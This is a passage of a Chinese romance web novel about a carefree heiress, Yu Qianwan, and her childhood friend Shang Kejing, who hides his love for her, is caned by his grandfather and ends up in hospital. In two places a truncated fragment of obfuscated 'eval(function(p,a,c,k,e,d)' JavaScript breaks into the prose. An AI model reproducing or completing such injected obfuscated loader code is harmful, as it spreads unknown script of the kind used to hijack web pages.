彼时距离虞昭音给虞千绾的警告刚过去两周——虞昭音让虞千绾必须得抽出大四半年的时间来集团里实习,如果虞千绾打算自己去别的公司面试工作也行,总归得趁着毕业前有些实习经验。 虞千绾当然不情愿,两个选项都不想选,她压根不想工作,但姐姐的命令下达,她又不能违背,否则她的银行卡怕是直接就被禁止消费。 于是两者相较,她只能选择相对更有摸鱼机会的前者。 虽然过了两周,虞千绾逐渐接受些现实,给自己做了很多心理建设,但都是事已至此不得不这么自我宽慰,并非从心底里想干。所以在看到机会的这刹,虞千绾当即抓住,嬉皮笑脸跟虞昭音撒娇说:“姐姐~如果我做的视频能破万赞,你就别让我实习了呗,让我享受享受最后的大学时光嘛,毕业以后我肯定会老老实实去上班的,压榨我的日子在后头呢。” “做梦。” 虞昭音瞥她眼,淡淡说:“官号上那些抓热度有网感的视频不缺破万赞的,你要是真想跟我赌也行,十万赞,但只能抵一个月的休息时间,后续每多十万赞就多一个月的时间缓冲。而且得是单条视频,不允许多条视频的点赞量累加。” “啊——难度太高了,姐姐~不要嘛。” 虞千绾小脸一垮,还欲讨价还价就被虞昭音直接截断,“再说就二十万赞起步,半个月休息时间。” 虞千绾登时闭紧了嘴巴,一声不敢再吭。 万赞变成十万赞,难度飙升,虞千绾为此苦恼许久。她这些年里因为帮常桦做宣传,剪辑技术已然在日复一日中磨炼的炉火纯青,视频带的tag和平台推流规则也大致都懂,本想趁此给自己谋一波福利,哪成想直接被虞昭音扼杀在摇篮里。 虞千绾给常桦宣传的那些视频都不常有十万赞的,那还是叠加了常桦艺人和网红身份带来的流量,官号想要十万简直难上加难。 虞千绾头疼不已,但还是决定尝试。毕竟一条视频肯定用不着一个月就能做成,万一真成功了就能得到一个月的休息时间。若是失败了——那就失败吧…… 因为十万赞的高要求卡在这,虞千绾反反复复推翻了许多内容,最终定下主题的契机来得猝不及防。 嘉澍集团将要召开董事会,爸妈都从度假地回来,一家人约着一起出去吃顿饭。 虞千绾卡点到达包间时爸妈和姐姐已经在三脸正色讨论集团的事情了,就连小小年纪的虞景澄都抱着本文学书在看,她短暂的失语后灵感大冒,当机立断偷拍了会儿视频,饭后归家捋了捋后决定立这么个噱头——做董事的爸妈,干练完美的霸总姐姐,高智商的天才外甥,摆烂躺平的我。 跟小说似的设定一出,虞千绾虽然还没做好视频发出去,心里头却已有些底了,感觉可行度陡增不少。 确定了想法,虞千绾这才在家庭群里跟她们说,还找爸妈和姐姐要了她们的毕业证书、含金量高的得奖证书以及各种美美帅帅酷酷的照片。 没两天,虞千绾就把剪辑好的视频传到了家庭群里,爸妈全都发来夸赞。换做平常虞昭音也就一起夸了,但这个视频是有赌约的,她在群里扣了个问号,@虞千绾说:[你这的确不会让人感觉有广告滑走,因为确实一个广告都没有。] 虞千绾试图蒙混过关,说这个虽然没有广告,但能为集团整体热度做宣传,不局限于某一特定产品,说不定吸引的客户更多呢。 跟着就是一通“妈妈~爸爸~姐姐~~~”的撒娇小连招,成功让虞昭音没再同她计较,放了她一马。 为了不在一众广告里显得这条视频另类,运营部和虞千绾商量后在文案里以幽默的方式表达说,运营下班一天,今日的账号被小虞总“夺走”了。然后再在评论区说小虞总的大方,放了一波大福利抽奖为她造势。 虞千绾有想过这条视频发出去流量不会差,但也没想到会这么火,甚至达到了小爆的程度。 视频的推送都是有时间限制的,过了那个时间基本不会再大幅度增加点击,但在那个时候,视频已经有三十多万的点赞,远超虞千绾预期,够她多放假三个月。 哪知后头有不少营销号搬运,以更夸张的噱头形容,惹得那段时间虞千绾一打开网络就能看到自家的消息,真假掺半。虞千绾的照片和就读于京大的消息也被不知名网友暴露在网上多次转载,幸而没有更隐私的信息和照片暴露出来。网友纷纷吐血,直呼虞千绾背刺,都考上京大了叫什么摆烂躺平! 但因为营销号的介入,原视频热度持续上升,最后停在了七十多万的点赞量,直接翻了一番。虞昭音言而有信,虞千绾美滋滋喜提七个月假期,不仅大四不用腾出一半的时间去实习,甚至毕业后的工作时间都能延迟一个月。 那段时间不少和虞家认识的人都给虞千绾爸妈发了消息笑聊视频的事,商家一家人自也知晓,他们还单独给虞千绾发过消息夸她厉害。 当下是那次爆火视频后虞千绾第一次跟商家长辈碰面,他们免不得会提及。 商恪景妈妈贝菡笑眯眯询问:“千绾呀,你现在算是进嘉澍实习了吗?我听你妈妈说,你打算自己单独开个号给集团做宣传?” 虞千绾对这个话题早有猜测, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这会儿见长辈们聊得深入,其实也不需要她这个小辈在身边,虞千绾便借由去卫生间的理由起身,悄然去到了空寂无人的院中倚靠在一处摸出手机查看微信。 半小时的时间,微信置顶已有了许多条新消息。 学长:[虽然知道你现在要跟家人在一起没空看手机,但还是忍不住给你发消息分享] 学长:[图片] 学长:[我的减脂餐,你吃的什么?一定很丰盛吧。] 学长:[探头.gif] 学长:[等待.jpg] 学长:[很希望明天见到你,但又觉得你太辛苦,这么热的天陪着我去山上做环保。] 学长:[千绾,真的很谢谢你,答应你的承诺我一定会做到。] 在看到微信置顶的小红点那刹,虞千绾唇角已经漾开了笑,更别提这些充斥着在意的字眼。饶是隔着屏幕,虞千绾都感觉自己的心跳在砰砰加快。 水汪汪的大眼睛因为情动蓄起些亮晶,虞千绾轻咬下唇,眉眼间皆是泛起的涟漪,指尖迅速在手机上轻敲,回复着常桦的消息。 [我还没吃呢~长辈们在一起聊天还没聊完,不过幸亏我还没吃,不然就没机会给你拍晚餐的完整照片啦] [探头.gif] [我来啦.jpg] [不会辛苦呀学长,你千万不要想太多,就当做是运动了嘛,还有助于健康呢] [干嘛说谢谢呀,显得好生疏,我相信你会做到的~] [我也很期待明天的见面~] 消息全部回完,虞千绾感觉自己全身都被粉红泡泡包裹,心也被甜意浸透。常桦最近似乎闲暇时间很多,没之前那么忙,主动找她的频率越来越高,他们变得越来越亲密了,或许很快,他们就要在一起了。 虞千绾正沉浸在自己的世界里。 “你也出来了。” 商恪景冷不丁传来的一声将她惊得一抖,瞳孔都是一颤,猛地侧头看去这才松了口气,“……大晚上的你吓死我了。” 商恪景笑着走近,“明明是你玩手机玩得投入,连我的脚步声都没听到。” “你不是说去厨房吗?怎么出现在这?” “你应该也不会跟他们讲说自己要待在院子里吧?” 两人对视一笑,心知肚明,都没再说。 手机恰好一震,虞千绾低头去瞧。 学长:[嗯,真希望明天早点到] 虞千绾唇角又开始疯狂上扬。 不明所以的商恪景坐在了虞千绾斜对面的长椅上,球鞋轻轻抵了抵她的凉鞋侧缘,“哎,之前不是说我想好时间跟你说你请客的吗?我现在想好了,明天吧。” 5. 第 5 章 “啊,明天?” 虞千绾正在微信聊天页面挑选可爱表情包的动作一顿,眼睑骤掀怔然望向商恪景。 商恪景看她这反应表情也略僵了下,随之轻微挑了挑眉反问:“干嘛,明天有安排?” 虞千绾拇指轻点手机屏幕,给常桦回了个乖巧的小兔兔表情包,而后摁灭手机屏幕坐在了商恪景身边,“确实有安排了,明天学长在隔壁市有线下志愿活动,我明天一早就得坐高铁赶过去,最早也得下午三四点才能回来。” 虞千绾鞋尖轻踮,踩在地面上小幅度晃了晃,笑容里多了几分赧色,“而且我还想跟学长一起吃顿晚饭聊聊天呢,我们都十天没见面了,我肯定得紧紧抓住这次机会和他多待会儿呀。” “喔~这样啊。” 商恪景拖长音这么说。 虞千绾还以为他下句会说“那就算了,改天吧。” 粲然一笑,重重点了点头。 哪知商恪景突然倾身靠近,很欠揍地说:“那更要挑明天了。” “商恪景!”虞千绾反手就在他肩膀上拍打一下,顺势跟着用力把他这张看着就让人恼火的脸推远。 “喊我也没用,你自己答应的,还想反悔不成?” 商恪景身形故作松散地后仰靠在椅背上,手指却不自然地抬起,指腹捏起肩膀那片被她触碰过的衣料捻了几下,“我可是大热天专程去帮你搬行李了,你不能言而无信。” “我又不是不请,我明天不是有事嘛,高铁票都买好了。” “虞千绾,你自己算算你因为他推了多少次我的事了?” 商恪景转过脸不看她,这才能说出些较为强势的话,声调却还是闷闷的,“不行,这次你拒绝他,跟我去吃饭。” 虞千绾张了张嘴又不知该说什么。 她感觉今天的商恪景好奇怪,她又不是先答应了跟他出去吃饭的具体时间再因为常桦的事反悔,而且正常约饭都得提前几天告知对方询问对方是否有时间吧?没空的话再约时间也不是什么大事,况且他们后续的空闲时间很多啊,为什么就不能商量着换一天,非得揪着明天呢? 他还看着很不高兴的样子。 虞千绾也有点不高兴了,心绪还有些郁结。请客吃饭分明是件高兴的事情,她也很谢谢商恪景那天来学校帮她搬行李,他们还是关系最好的朋友,但怎么就发展成了这样。 商恪景视线依旧看着另侧,虞千绾只能看到他绷着的侧脸。 空气静了十来秒。 商恪景早没了起初那般的架势,心头惴惴不安。 “行。” 虞千绾听不出情绪的语调平缓从身侧传来,“那就明天晚上,但我现在还不知道志愿活动具体几点结束,不过我会在结束以后第一时间赶高铁回来,就算没法在晚饭点赶回京市应该也不会迟很多,到时候再通过手机联系视情况定具体时间行不行?” 商恪景却猛地闭了闭眼,再开口话腔登时弱了不少,“那也不用……” 虞千绾无名火飙涨,声调都跟着拔高几个度,“商恪景你有病啊,一会儿非要一会儿又说不用,你到底想怎样?!” 愤懑之余,虞千绾还有些委屈,话头一开就忍不住直往外冒,“你是唯一那个知道我有多喜欢学长的人,干嘛还非要逼我在你们俩之间二选一,明明都可以处理好的啊。而且我哪有因为他推过很多次你的事情?只要是你真的需要帮忙的事,你跟我开口的时候我什么时候拒绝过?有时候我确实人不在,但我会联系别人帮你一起处理啊,我也一直通过手机在实时了解情况。我们俩这么多年积累起来的友情,你是我最最重要的朋友,但你干嘛莫名其妙有脾气就说这种话,好像我很没良心一样。” 是,你做朋友做得很好。 但是有些事,不,很多事,我都可以自己做,我也可以一个电话花钱让别人做,找你一起只是寻个想见你的借口。 是我越界,是我贪心。 我想要的东西是作为朋友的虞千绾永远没法给到的,哪怕是最最重要的朋友也不行。 我想我们不只是朋友。 我以朋友的身份嫉妒着被你喜欢的常桦,想要和他同样的待遇,稍有偏颇就心生失落,倍感怅然。 你不爱我,不知我莫名情绪的来源,是我的错,是我不该。从你只把我当朋友的角度来看,我的确莫名其妙。 万千思绪缠绕,在心头跃跳重撞。 但从嘴巴吐出,只变成了轻浅的三个字——“对不起。” 每种情绪每个念头都像是一根丝线,单捋还好,一旦混合就会乱糟糟地缠绕在一起找不到头,越拽越紧,紧紧勒绕在商恪景的心脏上,将他的心脏揪了又放,冷不丁某个契机又突然揪起。线一直存在,他操控不了,更说不得。 因为虞千绾是个会跟追求者保持距离的人,更别提而今她已有喜欢的人,他这些完全出乎她意料外的念头但凡被她知晓一点,别说朋友前那个“最最重要”的前缀了,他们怕是连朋友都没法好好做。 于是他也只能说“对不起”,因为除此外的任何一句话都是不被允许说出来的,他承担不起后果。 虞千绾听到这三个字,情绪突然也就止了下去,也开始反思自己刚刚是不是话说得有些激动了。 他们实在认识太多年,从有记忆开始,彼此就在身边了,见证过对方一路的成长。 成长的途中免不得有些磕碰和性格的磨合,幸而他们性子都比较直接,很闷不住心里话,就算有所不快也不会闷太久。如果不是很严重的事情,他们当即就说出口了,如果说出口的程度较为严重,他们则会找个恰当的时机缓缓地、平和地同对方交涉。 时至今日,寻求到让双方都舒适的沟通方法的他们已经很久没有爆发过问题了。 准确来说,从商恪景意识到他喜欢上虞千绾开始,他们就没再有过争吵。因为先爱上的他无论看到虞千绾哪一面都觉得美好,压根不会感到不适,他巴不得虞千绾参与他全部的生活。小摩擦肯定会有,但双方互相给个台阶下,或者一个新话题也就揭过去了。 乍然矛盾后的静默格外漫长。 虞千绾垂下些视线,双手搭在膝上轻蜷,唇瓣几度张合又闭上才小小声开了口询问:“那……明天你想要怎么安排?” 商恪景喉结滚动,声调也很轻,“你去找他吧,我们俩的饭局改天。” “你如果很想明天的话也行,我晚上能赶回来。” “不用,你说得对,我们后面还有很多空闲时间。” “那你刚刚——” 虞千绾不知道商恪景为什么先前会那样希望明天一起吃饭,冷静下来有些担心他是不是遇到了什么事心绪不佳才如此反常,侧目回视他温温问:“你是不是最近心情不好呀?” 庭院里的灯光不明不暗,平白让人滋生出一抹青天白日里不会有的冲动和暗昧。 尤其还在这种时候同喜欢的人对视,她的眼里不仅满是他,还充盈着对他的担心。但是好可惜,那不是对喜欢的人的爱。 商恪景多想说—— 是,我心情不好,但不是最近,是从你爱上常桦的那刻起。我想你知道我对你的喜欢,疏远我也好直接给我判处死刑也罢,总好过让我这么一个藏不住心事的人却一直在感情里当胆小鬼。我只希望你能看见我,爱慕你的我。 可这些都不是该让虞千绾承担的压力,他也总是在这方面差点勇气,毕竟面对是必死的悬崖,莽下去除了粉身碎骨没有别的结局,没几个人有那样近乎自杀的勇气。 于是他带着伪装的笑容和心头晃过的贪念忽地朝虞千绾伸出手,掌心压在她柔软的发顶轻轻揉了几下,故作爽朗的笑了声,“虞千绾你不是吧,想什么呢?你瞧着我哪里像心情不好的样子?喔——你要这么说我确实有点心情不好,不然你送我一双球鞋哄哄我吧,正好我最近刚看上一双——嘶!” 商恪景话还没说完头发就被虞千绾反手薅住,“商恪景你真是欠死了!我就不该关心你!我就该随身带根针把你的嘴巴缝上!” “虞千绾你杀人啊,这么重拽我头发!我可没有这么重弄你。” “但你弄乱了我特意做的发型!” “虞千绾你有良心没?我可是不想你明天太累才大发善心换了时间的,你就这么对我?你那学长有我对你一半好?” 商恪景把真心以玩笑话的方式说出。 虞千绾果然一个字都不信,“商恪景你别 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虞千绾说这话时面上高扬着幸福的笑容,身子还左右轻扭了几下,浑身上下都透着浓烈的喜悦。 商恪景别过脸,不敢被她发现的“戚”了声,几近无声的咕哝:“这有什么好看的。” 长辈们的话题还没聊完,从客厅转到餐桌上继续着他们的话题。 长长的餐桌在无形中被分割成两片区域,一片是长辈们,一片是小辈们。 小辈们这边整体偏沉默,吃吃饭逗逗小橙子,说几句有的没的,最热闹的时候就是倏然被长辈那边点到的时候。 长辈们今天都开心的不得了,每个人都端起酒杯喝了不少酒。 酒过三巡,长辈们本就好奇的心思染上酒精更是摁耐不住。 坐在商恪景右手边的奶奶倪莹琇主动开启了话题,“哎,恪景千绾呀,你们实话告诉奶奶,在学校有没有谈恋爱呀?或者有没有喜欢的人呢?” 商恪景毫不犹豫地回:“没有。” 虞千绾犹豫了一下,也回“没有。” 她跟常桦的微信又从晚饭照片的分享后陆陆续续发起来,突然被倪奶奶提到还挺心虚。如果不是常桦的身份特殊,她估计早就忍不住告诉大家了。 倪莹琇也不好说得太直接,婉转了几个来回后见他们俩都在否认只得停止话题没再继续下去。 商恪景敏锐观察到,倪莹琇放弃的时候长辈那边似乎都有些遗憾轻叹的意思。 局面又恢复成长辈和小辈各聊各的画面。 虞千绾往嘴里夹了两块肉,感觉到手机的震动后低头点开掩在桌下的手机屏幕给常桦回消息。 坐在她身侧的商恪景将这一幕尽收眼底。 作为大寿星的商老爷子开心归开心,但也有些伤感。毕竟年纪大了,不希望看着年纪再增长。老年人的日子是掰着手指头过的,越过越少。 他是不指望在死前能看到面上恭顺实则难管的大孙子结婚了,被酒意催得微红的眼睛隔空望着坐在一起的虞千绾和商恪景,一对璧人,越看越般配,忍不住感慨句:“要是千绾和恪景能在一起就好了,两家知根知底的,两个孩子又是打小认识的,这么多年都是好朋友,真结婚了也不会有什么大矛盾的,适合在一起过日子。” 正在和常桦聊天的虞千绾听到自己的名字猛地抬起头,反应几秒才意识到商爷爷刚在说什么。 她笑了笑,“爷爷,像我和商恪景这样相熟太多年的人反倒是成不了情侣的,要成早成了,我们只适合当朋友。” 商恪景嘴唇微抿,眼眸难以被觉察到的轻闪了下。 “哎,理是这么个理,但我不是——” “爷爷,您能别乱点鸳鸯谱了吗?” 商恪景忽地出声打断爷爷的话,面上没丁点笑意,甚至有些严肃地冲着爷爷补充,“我跟虞千绾——” 他感觉到一齐聚来的所有人视线,身侧投来的那道尤其炙热,喉间不由得一哽,轻却有力地彻底杜绝长辈们的念想,省得他们日后再明里暗里的提及,一次两次没什么,多次恐会让她感到尴尬,“……这辈子都不可能。” 6. 第 6 章 虞千绾和商恪景虽然表达的是同个意思,但一个笑吟吟且语调上扬着说,一个冷着张脸且说得非常直接。 作为直白提及这个话题的人,且对两家关系非常重视的商老爷子对商恪景的话极其不满,认为这是当众抹了虞家的面子,就跟虞千绾多不好,他多看不上似的。 但在饭桌上,又是个高兴庆祝的日子,商老爷子没直接训出口,但面色明显沉冷了些。 两家人相处多年,早已是不是亲人胜似亲人的关系了,虞家人清楚商恪景的为人,完全没有商老爷子认为的那些想法,只当是他们这些做家长的多想了惹得孩子不快。毕竟谁家长辈和小辈没有过摩擦?转头私下聊清楚说开了抑或过了那个劲也就好了。 气氛静滞了刹那,很快就由商知珩出声打了个圆场转开话题,氛围随着交谈重新回归热络,商恪景却始终低着头慢吞吞、一下一下地小口咀嚼着饭菜,没再说话。 虞千绾身子微微倾斜歪过去,小声关心他,“你真没心情不好吗?” 虽然她刚问过商恪景这个问题没多久,还得到了气人的答案,她还嚷过说就不该关心他,但再度感觉到商恪景的奇怪,她还是忍不住开口。 商恪景视线微侧就自上而下对上她那双圆碌碌的充满关切的大眼睛,硬着的嘴不自觉就松动了些,但真正的命门依旧不敢提及,只敢朦朦胧胧的试探,“……也没什么,就觉得他们动不动把我们俩往一起那方面扯挺烦人的,你不觉得吗?” “我觉得还好诶,他们也没硬逼着我们怎么样,就是年纪大了忍不住感慨、念叨几句嘛,没什么恶意的。说起来我姐也私底下替我爸妈来问过我关于我们俩的关系,我说真不可能,真不喜欢,她也就再没提过了。你是不是没跟你家人直白表达过你的意思呀?所以他们有了些误会。” 虞千绾手肘杵了杵商恪景的,声音压得更低:“这种事就是越含糊越懒得提越容易出误会,你真坦坦荡荡地说了,他们就不会这样以为了,毕竟咱们跟家里人关系都挺好的,他们也不是不讲理的那类长辈。不然你晚饭后试着独自跟商爷爷交流交流?他今天可是大寿星诶,我刚刚看你说完以后他脸色不太好呢,别在今天闹不开心嘛。” ——“我说真不可能” ——“真不喜欢” 商恪景听得心口无端又被连连重创几下,腰背都好似被无形的沉甸压弯。心里有数跟亲耳听到是两种感受,商恪景头顶似悬着两片乌云,一片是柠檬,一片是苦瓜,淅淅沥沥砸下的雨水既酸又苦。 但这些,她永远都不会知晓,商恪景错开视线,低头往嘴里扒拉了一大口饭,僵硬又急促地“嗯”了声。 - 老人家年纪大了,熬不了夜,饭后又聊了半小时便结束了饭局。 商家人笑眯眯地将虞家人送到门口,一直见他们上了车,车辆行远才收回视线。 商承嗣温和朝年迈的父母笑着道别,“爸妈,那我们也就回去了,您们二老在这多注意,有任何事情记得联系,别总怕——” 叮嘱的话还没说完,商老爷子大手一挥就给打断,横眉凝着商恪景,“你跟我过来,你们几个不许来。” 话落也不顾其余几人试图帮着商恪景求情的话,转身就往祠堂的方向去。 商恪景抿了抿唇,跟上。 商恪景的太爷爷是当兵的,在那个年代尤其了不起,商爷爷商宏川对父亲尤其敬重。父亲死在冬天,他看着棺木载着父亲的尸身落葬在露天环境里的墓地顿觉寒冽,只想父亲死后能少受些风雨摧残,于是他给父亲做了个牌位立在家里,作为父亲的安魂之所。后来住所大了,母亲也辞世了,就给父亲母亲专门空出一间房做祠堂,说是祠堂,其实也就只摆着两个人的牌位,所以并没太多的繁文缛节,只是让老人家思念父母的时候有个宽慰,但商家人打小在这样的环境下长大,受到商宏川的教导,一进到祠堂都很感到庄严格外肃正。 “跪下。” 商恪景跪上拜垫,恭恭敬敬对着牌位拜了拜。 商宏川神情冷沉立在商恪景身侧,肃声问:“今天为什么那么说话?我不管你们小辈间私下相处是怎么样的,但当着那么多长辈的面那么说话,不尊重虞家。” 商恪景太爷爷曾在年轻时受虞千绾太爷爷一命之恩,若是没有虞家太爷,别说商家现在的辉煌了,怕是直接在那辈就绝后了,所以商家太爷非常感怀虞家恩情,在世时跟虞家非常亲厚。就在临终前还反复叮嘱商宏川务必要在他走后像他注重虞家那般注重着维系日后的关系,虞家无论有任何事情都得帮衬,虞家人也得敬之又敬。 商宏川深记于心,这么多年也是这么教导儿子、孙子的,还立了个不成文的家法——凡有违背,藤条鞭背十下。 时至今日,未曾有违背,商恪景是第一个因这事被带进来祠堂的。商宏川日常中不是个很严肃的人,但若是涉及到这事,他格外严格,说是小事放大也好,古板守旧独裁专断也罢,他依旧如此。虞商两家的关系后辈们必须继续保持下去,不可以在他这里出了问题,否则他去到地下无颜面对父亲。 商恪景知道爷爷的教导,也一日不曾忘过,就算没有太爷爷的恩情,他也不可能对虞家人不敬,他从小就知道虞家人对他好,后来又喜欢上虞千绾…… 轻吁缕薄息,商恪景缓声解释,“爷爷,我承认我今天自身有些情绪在,说话态度确实有些不好,但我没有不尊重,我只是觉得您贸然在千绾面前提这些很不好,我们并没有在一起,您们提多了只会让她有压力,我们只是朋友。也没有哪个年轻人爱听这些催婚似的话,大哥都受不了您还在一个女孩子面前提?” “我哪里提多了?今天是第一次。” “您和奶奶明里暗里问我很多次,我都说我和她没有在一起,您们依旧不信,今天还在她面前问。是,在她面前这么直白的提及的确是第一次,可我要是不阻止,第二次第三次很快就会发生。” 商恪景眼睑轻垂,声音低了几度补充,“您如果不承认,那就当我多想。” 商宏川被气得也臊得脸红脖子粗,他这说的都是什么话!难不成一个做长辈的还靠着嘴硬不敢认小辈的话去曲解怪他错了吗? 商宏川的确没法否认商恪景的话,如果今日两个小辈表现出一些似是而非的行为举止,他的确会以为他们俩有很大猫腻,但他也没催婚的意思,只是觉得他们俩很合适,没在一起会很惋惜,可小辈们不爱听他就不提了。 “行行行!” 商宏川认识到自己也有些问题,“我以后不说了——不在千绾面前提,行了吧?这事怪我。但你到底怎么回事,你喜不喜欢人家千绾?” 商恪景笔直跪着,不吭声。 商宏川拿他没辙,气得不行,“你跟你哥一个死劲,一提到感情就跟只死鸭子似的,嘴硬得不得了,怎么都撬不开,到最后错过了良配就知道后悔了。” “我再问你最后一遍,你对千绾什么感情?想不想以后一辈子跟她待在一块?你要是说不想,日后等你们再大些介绍异性接触的时候,我绝不会再将你们放在一块。” 商恪景开口了,一开口就是不中听的话,“我跟我哥一样,我也不相亲,不要您给我介绍异性。” 商宏川听得一肚子火气,不理解的声调骤扬,“干什么!那你俩直接进寺庙得了,在这红尘待着浪费空间。” 意识到话题被拽跑,商宏川抚了抚被气得嗡嗡作响还发胀的脑袋,“现在你只需要回答我,喜不喜欢,结不结婚?” 商恪景紧抿着唇,沉默十来秒,只选择回答后个问题,“结不了。” 他倒想结。 这话落到商宏川耳朵里就是完完全全不同的意思,他“哎哟”一声,不稳的身形紧急靠在木桌旁。 商恪景眉心一跳当即起身探手去扶稳老爷子身形却被他猛地一挥挣开。 商宏川颤抖的食指直对商恪景,一个劲地在空中指着他。 商恪景无奈,“爷爷,您年纪大了,就别操心这些了,儿孙自有儿孙福,您就跟奶奶享受你们的二人世界就好了。” “哼,只有你们这些没孩子的人才能说出这种话。” “那我估计一辈子都会这么说。” “你还一辈子不要孩子啊!”商宏川更气了,把商恪景刚扶上来的手又甩开。 两个时代的人思想对碰完全没法正常交涉,商宏川感觉自己再聊这个话题下去会被气死,也吵着父母的安详,不适宜继续在祠堂展开。 他索性回归伊始那个最重要的话题,深吸口气只问:“所以你现在知错没?无论怎么样,不该在虞家人面前那么说。人家千绾就说得不会让人感觉到冒犯,你万不能再这么说,明白没明白?” 商恪景顺着说句知错了,以后不会了,这事也就告终了,哪知他又不接话了。 商宏川怒气又起,“干什么,你还想再干?” “不想,但今天这样我不后悔。如果我不这样,您才不会停止,还会反复乱点鸳鸯谱。以后——” 商恪景顿了下,声音快而轻地咕哝:“以后您要是还这样,我确实会再干,但我绝对绝对没有不尊重虞千绾和她家人的意思。” “好好好。” 商宏川一时气急到说不出话来,原地转了几个圈后选择抽出藤条,各抽五下,分别领各自的罚。 夏季的衣物很薄,商宏川又是攒足了气抽下来的,商恪景跪在地上一声不吭,就是齿关紧紧咬合着,眉宇也紧蹙着,后背的衣料都有些似要被抽开的痕迹。 结果在这种时候,商宏川问他知不知错,他还是不说话,就硬捱着。惹得商宏川越抽越气,力度越来越重。 藤条第一下抽到后背上的时候,瞬间漫开火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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扭头跟着商知珩就快步朝外去,“知珩!等等我,我也去陪着!” 视线扫过商恪景后背的血迹,倪莹琇声调又陡然变软发颤,“哎哟,我的乖孙啊,可怜的啊。” 商宏川看着倪莹琇的动作,担心喊道:“你慢点,别摔着了!” 倪莹琇完全不搭理一下,还小跑了起来。 商恪景爸妈看着大儿子把小儿子背出来的时候心头一惊,看到商恪景后背在月光下隐有血渗出的时候更是眉心发颤,恐慌不已。 除商宏川外,一大家子人大晚上地赶去医院。 幸而情况并不太严重,仅有一小片皮肤被接连两三次抽到略有些怖人的出现几道皮肉豁开的小口,旁的地方就有些红痕跟轻微破皮的痕迹,养些天就好,但这段日子肯定不会太好过,后背不能吃劲,睡觉也只能趴着,行动也很艰难,医生建议商恪景这些天最好就在床上待着,除了去卫生间就不要下床了,否则要是伤口没养好再给扯得更大就必须得缝针处理了。 商恪景今夜有起烧的风险,为了谨慎起见,商恪景爸妈商量着还是让商恪景打个点滴消肿止痛,在医院住一晚观察一夜。 这么一番折腾下来,天色已然不早,余下中年纪最轻的商知珩主动认下在医院陪着弟弟照顾的任务,让旁的家人回去休息。 倪莹琇操心不已,走得三步一回头,反复让商知珩记得经常在群里更新商恪景的动态,若是真发烧了定得第一时间通知她,什么点都得说。 商知珩颔首一次次地应,这才终于送走了长辈们。 他关上病房的门回到病床旁,刚想问商恪景具体情况,就见他没什么精气神的苍白着一张脸,瓮声瓮气地说:“哥……别让虞千绾知道了。” 说话声音稍一大好像都会牵扯到后背的伤,他的眉毛也是一皱,嘴巴轻撇轻“嘶”声。 商知珩静看他几秒,说出句和外表的正经截然不同的腹黑心机话,“为什么不告诉她?苦肉计不懂么?你什么都不说她只会永远把你当朋友。” “算了吧……” 商恪景艰难转过脸,虚弱的眼睑轻微动弹两下,“她明天要去见别人,说了也是自讨没趣。” “试试呢,万一来了。” 商恪景扯了扯唇,自嘲地哂笑说:“哥你不知道,我跟他比,从来都是没资格的。而且……他们也好些天没见了,如果明天见不到,她也会失落。” 先是一番疼痛,又是掺杂着助眠效果的吊瓶,商恪景感觉自己的眼皮很重,心力很散,再无力多聊什么,他彻底合上了眼,“哥……我好累,想先睡了。” 商知珩看着他稍有动弹都艰难的身形,鼻息间漾出声很轻的“嗯。” 不到五分钟,商恪景就沉沉睡去。 商知珩独自立在窗前,也不知在想些什么,时而扭头看看商恪景的点滴瓶有没有吊完。 又是半个小时,他微掀眼皮看了眼商恪景,悄然掏出手机,在微信好友栏里翻出虞千绾的微信。 [千绾,有件事想麻烦你。] [恪景今天受了挺严重的伤,得留在医院观察24小时才能出院,但我明天早上八点得去永誉上班没法在这陪他,你有空过来照看他吗?别人我总不放心,如果没空的话我再找别人。] 7. 第 7 章 商恪景这一觉睡得很不踏实,尤其凌晨三四点的时候,药效散去许多压不住痛意,他趴在床上一动不动都感觉伤处在蔓延着疼,脑袋似都被感染的晕晕乎乎,偏又好像一直有根筋抻在那一抽一抽的疼,使得商恪景很难受但又怎么都无法陷入深度睡眠。 直到天都快亮了,商恪景实在困到不行了才略沉些睡去,但只要有翻身趋势牵扯到后背的伤,他就会吃痛醒来,然后再在困意和痛感交裹中睡去,如此反复。 早晨八点,医生护士过来查房。 隐约间,商恪景朦胧听到有几个人在讲话,但声音压得较轻,他听不清,只知道里头有道非常熟悉的人声。 他一耳朵就听出来自于谁,但浑浑噩噩间难辨现实与梦境,还当是做了个美梦。 意识始终游离在沉睡和半梦半醒之间,五官的感知也时轻时重。 忽地—— 那道悬在梦境中的缥缈声音不知何时离得格外近,轻轻缓缓,是哪怕在梦中都极其罕见的温柔。 “恪景,商恪景,醒醒。” 商恪景眼睫颤了颤。 虞千绾见他有动静,赶忙探手在他胳膊上戳了戳,“商恪景,医生查房要问你些问题,你跟医生说完再继续睡。” 声音分外清晰传入耳中,动作比意识还快的,商恪景倏地睁开了眸,径直撞上她那双漂亮的大眼睛,他们之间仅距几厘米。 没睡好觉,商恪景怔愣的眼里有着好几条红血丝,还顶着张因为受伤没什么血色的唇,看起来憔悴极了,毫无日常的神韵。 虞千绾担忧的眉轻蹙,立即直起身让开位置给医生。 商恪景视线下意识追随她,身形免不得有些转动,医生眼疾手快摁了回去,“别动。” 但还是没快过肌肉的拉扯,“嘶——” 两道声几乎是同时响起的。 虞千绾眉毛跟着蹙得更深,唇瓣翕动轻嚷了声:“商恪景你趴好啊,别乱动。” 没再那么温柔的熟悉腔调,以及切实在皮肉间漫开的痛感,商恪景陡然醒了神认清现实。但还是愕然于虞千绾为什么会出现在这,愕然之余还有不得不承认的讶喜,无论为什么,她人此刻就在这,她在就好。 与之同时,他还意识到一件很重要的事——他没穿上衣。 医生昨夜为商恪景处理后背伤口时脱掉了他的上衣,后来商知珩看他稍一动就疼便没再让他费劲穿上衣服,如此也方便医生后续检查,省得到时候再脱衣服,来来回回的麻烦,还容易扯着伤口。 商恪景当时身心俱伤,只想闭眼休憩,也没想到这层。此刻见医生要来掀被子检查他后背才猛地反应过来,却是为时已晚,背上盖了一半的被子直接被医生掀到腰后堆叠。 视线被医生护士的身形遮挡,商恪景看不见虞千绾,连她站在哪个具体位置都不知,也不知她有没有在看着他,看到了哪里,满不满意他的身材? 他后背没劲,不太好凹身材,但应该……还算可以的吧?他可是特意朝着她喜欢的薄肌身材练的。 